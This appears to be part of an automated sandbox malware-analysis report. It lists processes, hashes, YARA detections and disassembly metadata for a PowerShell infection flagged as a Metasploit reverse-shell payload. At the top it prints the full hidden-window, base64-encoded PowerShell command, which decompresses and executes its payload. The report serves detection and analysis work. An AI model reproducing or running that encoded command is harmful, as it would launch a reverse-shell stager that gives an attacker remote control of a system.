                                                              Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhADMATwBpAHoAQgBMACsASABIADgARgBIADEASwBsAFYAawB3AE8AeABNAHYAcQBuAGsAcgBWAEkAaABmAEYAQQBKAEcATABsADUAZwAzAGwAVQBJAFkARQBSAGsAQgBZAFIARABKAHUALwB2AGYAVAA0AE8AYQB6AFoANQBOAHoAdABtAHEAYwA2AHkAaQBIAEcAYQBtAHUANQA5ACsAcAByAHUAbgBNAFIAQwA1AE4AawBqAHMAMgBVAFEASgBIAFUAUgBkAFQAMQBHAGMAZQBHAEYAQQAzAFYAWQBxAGwAMQB2AEwAUgB4ADUASgBRAHUAcQBPACsAbABhAHQAcgBOAEwAQQBKAHMAVgBTAE0AWABoAHgARQBYAG0ASgA0AHQAQgArAHMAUgB3AG4AUgBrAGwAQwAvAFYAMgA1AEcARgB1AHgAdABhAFYAcQBsADMAcwByAGYAdABtAEcAVABvAHAAUgBnAHkAcABmAGkAbwAzAEkAUwBXAE4AVQB2ADcAaQBvAFgASgBSAFQAYQBaAEIAWQBLAC8AUQBTAFcATQBUAGIAbwA1AGMAdABJAHUAdgBRAFMAYwBCAFEANwBZAG0ATgBJAGoANwBjAFcAbAA3AHcALwBQAFUAcgBsADgAWQB4AEMAcwBqAHgALwBXAGEAQQBDAEoAcwBrAGEATAB2AEUASABrAHAAcQBkAGUAbwA3AE4AVgB1AGoARwBGADAALwBMAEQAZgBJAEoAdABUAGYAMQBPAFgATAB6AFEAQwBIAFMAdwB1AGYAdAB1AFcAYwBaAGEALwBCAEsAVABaAHcAaQBqAFUANQB0AEsAMwBDAGcAeABzAGoAdwBoADYAcABWAGYALwA2AHEAMQBwAC8AdQBtAGEAZQBiADQAUgBkAGEAdQBHAGsAVgBqAFgAeQBoAEsARAB0AGoAWQBOAHgAdABVADcAOQBxAEIAYwBHAHoAVAB4AEMAdABhAHIAaQAyAFgARwBZAGgAQwB0AHkATQAvAE8AQwA1AHUAMwBOAHAARQBTAHYAbAB1AEMAVgBJAC8AWgBxAC8AZQBTAFoARwAxAG4AZwB4ACsAZABPAEYAbABxAFAATQByAFUAcQBEAE0AZgBBAEQAWAB2AGsAcwBOAHEAZwBuAGcAcAA3AFQAOAAvAFAAMQBMAGMAMwBOAEgAbwBhAEUARwArAEwAYgBxAFMAQQBvAEQAaQBNAEQAQgBUAHYAUABSAHMAbABOADAATQByAGMARABEAFMAMABRAHIARQBxAGcAawBjAFkAZQBCAFcANgB3AEEAaQBSAGkAUwBOAEEAKwBxAE0AQgBlAFQAMgBvAFkAOQBxAGwAMABHAEsAYwBRAFAAMABQAHYAMgBwADMAdQBlAGEAaQByAEkAegB1AFgAOABxAFYASABzAHYAQgBMAHYARwBKAEsANAAzAFQAagBIAHgASgAzAFEAbwBaAGQAdwBjADEAWQBFADcAdgA2AEYALwBGADEAeAAxACsAUAAwAFcAWQBQAFgASwBqADgAbwBIAG8AZQBvAGcAagBGAHkATABvAEIAYwBDAC8ATAA2AEwAMQBjAHIARgB4AFYATQA1AFIATwBCAFAAYgBSAHcAbQBYAGkAbAAzAFIAOQBFAE4AUwBnAEUAUQBGAGcAbgBqAHYARABoAE8ATQAwADUAUgAvAGYAbgBuACsAUgB6AE4AbgBpAFcAVAB4AHEAZQBLAG0ATABQAFUAUwBlAFoANABQAEUAYwBjAGQAOQBUAFQATgBQAFMAYwA1ADgAcABGAHYAWABLAEsAbgBtAEwAKwBaAFoAbAA2ADIARQBGAHgAcwBmADUANQBOAHYAQgBvADUAUQBXAEkAegB3AE4AcgA2ADkAbgBuAGcASwA5ADkAZABHAFoAbwBoAFYASABKAHgAOAAxADUAbQB3AG8ANABhADkAWABUAEEAbgBMADQARQB6AHYAVgBnAHQAQwBuADMAOABXAEUAcgBVAGYAZQBaAFAAdABIAGMASwB3AE4ANQA1ADQAQQBLAGcAaQBKACsAcQA5AGcAagBtAGQAWQBxADAAcQBCAGcAcgBiAEEAMwAvAEUAZAB3AHYAUgB5AEIAVwBtAEcAegByAHQAUABxAFoAVwBmAHIAUgBmAHYAUgBTAHgAegAyAEUAcQBTAEIAagBWAE8ASQBjAC8AdABCAG0AVQBnAEMAeQBPAG4AUQBiAEYAQgA0AHAAMgBXADIASgBTAEUANQBiAEQANgBFADYANgBTAFkAdQBMAFoAVgBrAEwATwA2AHAANwByAEgAMQBCADYATQBzADIARgBBAFcAUgBNAGEAcwBQAHAAQQBnADIAbQBFAFMASABiAHMAMwBEAEIAUwBvAE0AYQBlAGcANwBxADUANABiAG4AbgBpAEYAVQBQACsAUwBFAHMAegBDAEcAbABBAE4ATgBlAHoAZwBUAG0AQwBtADQATQBFAGcAUgBNADcASABUACsAUABmADQAcQBOADgAWQBpAEUAagBiAEMASwBNAHQANwBDADYAcgBrAEkAZwB0AEYAMgByAE8ASwBhAFAASwBjAEwATgBjADUARgBUAC8AQQArAHgAegBuAGgAeQBUAG8AdQBEAHEAVABOAEkANwAwAEIAQQBBAEIAZwA1AEoAZwA1AHAANgBNAFkARwA2AFYAbQAzADgARgBuAGoALwBHADcAeABmAFMAOAB3AHYATQBMAGsAWQBuAFEANgB5AFYAaQBiAGkAVQB6ADgAbgBSAGIAcABjADcAbAAvAHMANABuAHEANQBlADIATwB5ADUAQwAwAG0AdwBKAGsAWQBoADkAdQArAGwAYQBCAE8AeQB5AGkATABXAEsAMwBhADcASwBZADcASwBWAGMAMgBXAGkAYwBlAEMASAB0AHgAdQBCAHMASwBKAGoAeAA3AGUASgBvADcAVQBaAEQAbABrAFIANwAxAGQAZABrAFcAMABvAGYAeABrAEIANgB0AEoASwAzAEwAdAA5AEkAcwBsAFYASwB6AFQAegBkAEYARwB2AGEAOQA3AGcAYgBDAFMAdABvAC8AaABJADkATQB1AG0AMAB4AFQAaQBUAHQAVgBaAGgATAB2AHUAeQBHAEMAUwAvAHQAZQBYAFoANAB1AHcAdgBGAGoAdQB2ADEAVABuAHEATwA4AHQAbwB5AFkANQBaAHoAUwBmAHkAeQBIAEkAaQB0ADQAVABRAFIAaQAvADEARABhAGQAOABYAGQAMQB3AHYAaABQAEUALwBwAEQAMABYAGoAawBDAHUAMgA0AG0AQwBmAHUAYQAwAGsARABEAHEAbwBMAGwAcwBaADAAMwBTAFIAWgBaADcAeQBPACsAbgBWAHcAYgBOAEQASwBhADUASwBrACsARgBTAEQAVQBDAFIAMQA0AHkAbQBqAGgAUwBYADIAOQB6ADgAQQBuADgATQBwAHAARABuAFgAYgBnAE0AUQA2AFkAbQBZAFcAbQAzAFUAdAAyAHcAOABKAGYAMQBKAGQAMwBkAGoAQQBhAFMAYwBOAFIAYgB2AFIAYwBYAHMAcgBWAHoASwBZAEoAdgBZAHQAZgBjAFgATwA4AGUATQAxADMAWABaAEIAWABXADgARABKAHcAYwBnAFYAdgBkAFYAeABEAHYAWgBjAHoATwB5ADUASwB1AGYARABSADMAVQBBAE4AbgBiAHAAegBHADAATgBWAFQAawA4AHMAQgB1AHAARQAvAE8ARwA0AGIAdwBhADUAbwBFAHgAbQBBAFgAZQBXADMATwA3AEYAMgBTAGwAZgBjAE0ANQBaAE0ANABrAGUAUgBpAFoANQBMAEUANQB0AHIAYQB0AFAAQQA4ADYAaAByAFMAUgBEAHIASQBkAGsAZQBsADgAMQBJAG0AdABuAEkAdABrAEQAeQAzADcASwAxAEwAbwBIAGMAawBMAGQAOQBRAFQAWQBDAHkAUQBBADIAMABZAGUAdQA2AEEAWABUAHcAMAArAFgAdQB3AEcAMwBDAEsAQQBqADUAWQBiAGYASABSAFIAOAAzAHgALwBVAHgAOQB0AFoAdAA5ADIAYwA1AGoAeQBaAFAAeQA4AFgAMwBIAEEAOQAxAGQAbwBqAFIAaABuAGgAZQB3AE0AZgBVAFgATwBpAEQAVgBlAEoAMQBWAEIAWgBmAFIAVABEAHAANgA0AEMAZgB0AGUAMQBOAGoAUgBoAE4AdQAvAEcAVwBqADIAVgBxAHYAZgB4AEIAeQA1ADUAYQBnAEUAUQBrAFkATABuAEQAYQAzAGcANgB0AHMAWAB2ADEAMgBEADYAMABTAFcAdgBvADAAegAzAGsANwBmAFoATQBVADQAMwBTAEsAOQAvAHkAYgBmADMAaAA4AGIAYQByAHIALwBmAEQAagBSAHMASwB5ADAARgB6AHcAYQBtAGUASgB2AFEASABFADgAWgBlAHMASQB3AHoAbQBEAEcAMgBZAGoARABPAGcANQBuADEAdQBBAG0AagBqAGcAMgAvAHoAMAAzAHAAUwBEAEcAMQB3AC8ASQA0AHYAMQA2AGEAZgBuAGUAcwBZAGQAVQBFAFAASwB5AEcAbgBYAHQAVABvAEoAVQBaADMAUgA0AFAAUgBBAGsASgBHAFcAMwB4AG0AYQA5AHcAKwB0AG8AWQByAGgAVgAxAGsATABlAGkAUgA3AC8AUAA2AGwAaQBkADgAOQBzAGUAWgAwADcAMABtAGUAYgByAGcANABHAG0ARABrAHkAdABmAFcAdQB6AHYAWQBGADUAMgBpAHQANgByAGMAaQBlAEwARQBRAGQAaQA0AE8ASgA3AHYATgBnAGIAegA0ADUAKwBBAG8AdgA5AEIAVwBkAGYAbABTAE4ANgBXAGcARwBhAHgAWQAvADYAUwB1AG0AbQA2AFgAMwBzAHgARwByAEMAUQB0AHoAbQByAFcAMwA1AHEAVABZAEUANgBsADYAMwArAGQAMQBFAGQAOQBQAHMAaQA2AHYAMAB3AHYAUgBwAEUAZAB6AEgAZgBRADYARwBIAHoAVQAyAHAANAB1AEwATgBUAHAAdwBlAGUAWAAvAG0ARgBoACsATAAyAHgANQBtAFkAegBYAGwAZAA0AHIAcQBuAGYAbQB4AE4ASABtAFkAbwBzAHYANQB6AGIAdgBLAGoAUgAyAG8AQgBWAG0ANQBOAEoATgBOAFIAOQBaAHMANwAzAE4AVgBVADQAdQBQAHgAawBPAGwAawBJAGEAMABrAFYAcwBwAEEASAAvAHkAWABkAFYAWAAzAGQANwAwAHMAbQAxADQAcQBrAHIAdQA0ADgAMwBuAEwAcgBUAGoASQBSAHgAcQAzACsAeABtAFcAMgAzAFkAeABjAGsAYwBEAG4AaAB2AGYAdABqAEEAbAB4AEoAbwA4ADcARAA2AE4AbABQAHUAMAArADQATgBTADAAcgA3AEkAWgAyADkAbQBoAGkAQwBYAHkAZgBoADMAYQBmAFcAeABmADcAUgBtAGwATwBkAEMAMABqAGQARgA3AG0ATABsAHoAaQBFAFUAZgBiAHkAQwBPAFgAeQBHAG0AWgBYAGcAMgBVAGwATwBYAFUAYwB2AEoARABoAEIAagB5AFcAaQBuAHkAQgB6AGsAeQB6ADcASwA3AGYAdABZAGMASQBSAGsAdwAwAEsATwAyAE0ATwBwAHIAQwB4AG4AdQA4AHgANQB2AFkAMQBTAGQAZAA2ADIAWABGADkASwBPAGMAagB4ADUAUQBCAGQAOABmAEsATwBmAEwARwBiAFEAcABzADEASgA3AFEANgBtAFQANQB1AEIAaQB0AEcAOQB0ADIANwB1ADYASgB1AHIAYwBJAFkATwBwAEgAWAAxACsASgA2AC8AeQBkAFYARABLADQAeABvAFUANgAxAEMAUwBvAFMAbABMAHAAeQArAHUAcQBxAFgAcgBRAEkAcAA0AFUAbgBtAEgAawB1AE8ANwBwADMAcgA5AGYATABBAHkAaAByAHQAbwBzAGkAVgA1AGIAQgB2AGYAVwB1AHUASAAzAFcASgBTAGwAVwBuAEsAdwB0AEQARQBVAFAATwBwADMAegBQAFMAVwBHAHMAWABqAHEAVgA4AGEAaABWADAAagBVAGEAaAArADMAMgBEADYASwBBADQAUwBoAC8AWQBRAEcAOQBWAHoAZABXAFkAeABEAHUAKwBpAHcAUABtAGwAMQBvAE4AOAA3AGQAbQBIAFAAYwBJAHQATgBZAE4AaQA4AC8AWABCAFUAcAA5ADQAMgBRAGwAdAAxADkARwBtAFoAcgBsAFoAbABGADMATAB5ADgATgB5AE0AbgBUAGQAKwAvAGIAbwBBADkAeABwAHYARABNAG8AbwBjAE0AbQA2AFEAZABHAEgASgBrADMAVAB4AFgAKwBMAHIAbABmACsAbgBCAFEAdQBqAFAATABhAFMAVgBtAGoANgBNAEQAZQBvAGYAaABwAEIAWgBkAFcANgBpAGYAZQA0AHoAVABZAG8AdgA4AGoAOQBiACsAWQAvAE8AKwBrAEYAcgBTAFYATABkAHcAYgBhAFMAVwBnAGoANQBtAHEAVgA2AHIAZgBLAGgAVgBwAFIAYgAyAGIAVAA3AHgAWAArAEUAQgBCAE8ANgBwAGIAeABsAHgAQwByAEoAaABjAGIAOABJAGwAZgBNADIAVQAxADMAUAB0ADAAcQBwAFQAawBqAEMAbgBMAGkAMwBxAEIAMwBVAE4ANwByAEYASgA4AHgAWQArAGEAVwBJADMATABlADUAcQA2AHUAZABYADIAbgBjAHEAcwA3AHkAagA4AEgAZABLAFIAegBhAEMATAB2AHQANgBGAEMANABoAFIAaABHADAAWABZAFgANgBVAHQARgBaAEEATwBiAC8AQgBRAFAAaQBmAHgASAArAEQAUQBBAEEAIgApACkAOwBJAEUAWAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAkAHMALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwAKAA==
                                                              Imagebase:0x7ff7016f0000
                                                              File size:452'608 bytes
                                                              MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Yara matches:
                                                              • Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000003.00000002.2000051277.000001E1C2463000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: Msfpayloads_msf_ref, Description: Metasploit Payloads - file msf-ref.ps1, Source: 00000003.00000002.2000051277.000001E1C2463000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                              • Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000003.00000002.2000051277.000001E1C0ADA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: Msfpayloads_msf_ref, Description: Metasploit Payloads - file msf-ref.ps1, Source: 00000003.00000002.2000051277.000001E1C0ADA000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                              • Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000003.00000002.2000051277.000001E1C2433000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: Msfpayloads_msf_ref, Description: Metasploit Payloads - file msf-ref.ps1, Source: 00000003.00000002.2000051277.000001E1C2433000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                              • Rule: WiltedTulip_WindowsTask, Description: Detects hack tool used in Operation Wilted Tulip - Windows Tasks, Source: 00000003.00000002.1997538671.000001E1BE6F0000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
                                                              • Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000003.00000002.2000051277.000001E1C2482000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: Msfpayloads_msf_ref, Description: Metasploit Payloads - file msf-ref.ps1, Source: 00000003.00000002.2000051277.000001E1C2482000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                              • Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000003.00000002.2000051277.000001E1C243E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: Msfpayloads_msf_ref, Description: Metasploit Payloads - file msf-ref.ps1, Source: 00000003.00000002.2000051277.000001E1C243E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                              • Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000003.00000002.2000051277.000001E1C1D34000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000003.00000002.2000051277.000001E1C082F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000003.00000002.2000051277.000001E1C1878000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: Msfpayloads_msf_ref, Description: Metasploit Payloads - file msf-ref.ps1, Source: 00000003.00000002.2000051277.000001E1C1878000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                              Reputation:high
                                                              Has exited:true

                                                              General

                                                              Target ID:4
                                                              Start time:09:21:16
                                                              Start date:14/03/2025
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff62fc20000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high
                                                              Has exited:true

                                                              General

                                                              Target ID:5
                                                              Start time:09:21:18
                                                              Start date:14/03/2025
                                                              Path:C:\Windows\System32\svchost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                              Imagebase:0x7ff6ca680000
                                                              File size:55'320 bytes
                                                              MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high
                                                              Has exited:false

                                                              General

                                                              Target ID:6
                                                              Start time:09:21:23
                                                              Start date:14/03/2025
                                                              Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:"c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                                                              Imagebase:0x3e0000
                                                              File size:433'152 bytes
                                                              MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Yara matches:
                                                              • Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: Windows_Shellcode_Generic_8c487e57, Description: unknown, Source: 00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                              • Rule: Windows_Trojan_Metasploit_38b8ceec, Description: Identifies the API address lookup function used by metasploit. Also used by other tools (like beacon)., Source: 00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                              • Rule: Windows_Trojan_Metasploit_24338919, Description: Identifies metasploit wininet reverse shellcode. Also used by other tools (like beacon)., Source: 00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                              • Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: JoeSecurity_MetasploitPayload_1, Description: Yara detected MetasploitPayload, Source: 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: Windows_Shellcode_Generic_8c487e57, Description: unknown, Source: 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                              • Rule: Windows_Trojan_Metasploit_38b8ceec, Description: Identifies the API address lookup function used by metasploit. Also used by other tools (like beacon)., Source: 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                              • Rule: Windows_Trojan_Metasploit_24338919, Description: Identifies metasploit wininet reverse shellcode. Also used by other tools (like beacon)., Source: 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                              • Rule: Msfpayloads_msf_ref, Description: Metasploit Payloads - file msf-ref.ps1, Source: 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                              Reputation:high
                                                              Has exited:true

                                                              General

                                                              Target ID:7
                                                              Start time:09:21:23
                                                              Start date:14/03/2025
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff62fc20000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high
                                                              Has exited:true

                                                              Disassembly

                                                              Reset < >

                                                                Executed Functions

                                                                Function 00007FFC3DA733B5 Relevance: .0, Instructions: 49COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.1184360791.00007FFC3DA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DA70000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_0_2_7ffc3da70000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
                                                                • Instruction ID: ba5ae0cbf7594f7b04ce7750577559e3bcfba9ff95d775cbd39cffd2fe7c464b
                                                                • Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
                                                                • Instruction Fuzzy Hash: 2401A73110CB0C4FD744EF0CE051AB5B7E0FB85364F10052DE58AC36A1DA36E882CB45

                                                                Executed Functions

                                                                Function 00007FFC3DB42EF3 Relevance: .5, Instructions: 539COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000003.00000002.2071574643.00007FFC3DB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DB40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_3_2_7ffc3db40000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: e84517fac46c4b72923bbf4360822bb332b5ef8d203c2a3d4300f483a7b4dad8
                                                                • Instruction ID: 1558c7eb1fe768a0fb15a732123b986d37c1250c78531f0765c51ad21c51e7f9
                                                                • Opcode Fuzzy Hash: e84517fac46c4b72923bbf4360822bb332b5ef8d203c2a3d4300f483a7b4dad8
                                                                • Instruction Fuzzy Hash: DAF13131E4DAAE4FEBA6D76848556B57BE1EF16354B4C00FED04CCB2D3EA189805C362
                                                                Function 00007FFC3DB43081 Relevance: .2, Instructions: 247COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000003.00000002.2071574643.00007FFC3DB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DB40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_3_2_7ffc3db40000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 90472c57c9ae4965400ef84f915d54dcbb40a403ef6cf2554e1583f9179a1a2a
                                                                • Instruction ID: e5f9c37369437c0b711e260e0851f702e439d25f73c25874b331ed9163cacc19
                                                                • Opcode Fuzzy Hash: 90472c57c9ae4965400ef84f915d54dcbb40a403ef6cf2554e1583f9179a1a2a
                                                                • Instruction Fuzzy Hash: 76710431E4DAAE4FEBA9D6A84451278BAE1EF55385B9C00BEC00DC72C3ED189C05D776
                                                                Function 00007FFC3D95E7E0 Relevance: .1, Instructions: 126COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000003.00000002.2070275225.00007FFC3D95D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3D95D000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_3_2_7ffc3d95d000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: ab5721e3fbbfb111577f84f95aa220d6a9f8af94c48e627c247851d9968fbe24
                                                                • Instruction ID: 0c7f7528b7bbb3e55c8adb9c86dbea063eab1479cd374fd8426928aa551449bc
                                                                • Opcode Fuzzy Hash: ab5721e3fbbfb111577f84f95aa220d6a9f8af94c48e627c247851d9968fbe24
                                                                • Instruction Fuzzy Hash: CF412C7080DBC84FE7569B3898559523FF1EF57320B1505EFD088CB1A7DA29E846C7A2
                                                                Function 00007FFC3DA7434A Relevance: .1, Instructions: 103COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000003.00000002.2071013448.00007FFC3DA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DA70000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_3_2_7ffc3da70000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 7f2f416a1a9ab964f68d8819e4689fa8d4556bc2e007e0646af4b475fd9005e4
                                                                • Instruction ID: 2ef873faa37e2cb9df5d1e88c2b322a341f6dfcd256a908c5e779d9acdfd32d1
                                                                • Opcode Fuzzy Hash: 7f2f416a1a9ab964f68d8819e4689fa8d4556bc2e007e0646af4b475fd9005e4
                                                                • Instruction Fuzzy Hash: 8D31E37260DBC94FD706D778A8914A07FF1EF5722071905EBD0C9C71A7E929A807C7A2
                                                                Function 00007FFC3DA737B5 Relevance: .0, Instructions: 49COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000003.00000002.2071013448.00007FFC3DA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DA70000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_3_2_7ffc3da70000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
                                                                • Instruction ID: 5741deb22278e40f90b0163181d0dededcf5653a4d0115d71647eace61691dab
                                                                • Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
                                                                • Instruction Fuzzy Hash: 4F01847110CB0D4FD744EF0CE051AA6B7E0FB85364F10052DE58AC3651D626E882CB45
                                                                Function 00007FFC3DA74387 Relevance: .0, Instructions: 39COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000003.00000002.2071013448.00007FFC3DA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DA70000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_3_2_7ffc3da70000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 38f64cfe163c22366f4bc4d1f8bb97ec50b5aa18c10afd77ad10801fc3523a22
                                                                • Instruction ID: 5a38bb7c90127f313ab5941c7b199bbcba1c4dbd346d8492164afdfb594dcc3c
                                                                • Opcode Fuzzy Hash: 38f64cfe163c22366f4bc4d1f8bb97ec50b5aa18c10afd77ad10801fc3523a22
                                                                • Instruction Fuzzy Hash: 28F0657275CA054FDB0CE61CF8429B4B3E4EB95320710052EE587C3A52D927F8538AC5
                                                                Function 00007FFC3DB4156B Relevance: .0, Instructions: 13COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000003.00000002.2071574643.00007FFC3DB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC3DB40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_3_2_7ffc3db40000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c11132fd0d3020139adaed2e5dbe7347ef35d73efa3e0983a276114d340dc4b4
                                                                • Instruction ID: cc2398a284b48e67c217be7fd9d4bd9028ea1c55c487c7f1424d089229273422
                                                                • Opcode Fuzzy Hash: c11132fd0d3020139adaed2e5dbe7347ef35d73efa3e0983a276114d340dc4b4
                                                                • Instruction Fuzzy Hash: 45B09222748C280B9AA4A19CB8482A822E0C298A3130512A7E809E3248DA094DC203C5

                                                                Execution Graph

                                                                Execution Coverage:1.4%
                                                                Dynamic/Decrypted Code Coverage:0%
                                                                Signature Coverage:33.3%
                                                                Total number of Nodes:12
                                                                Total number of Limit Nodes:1
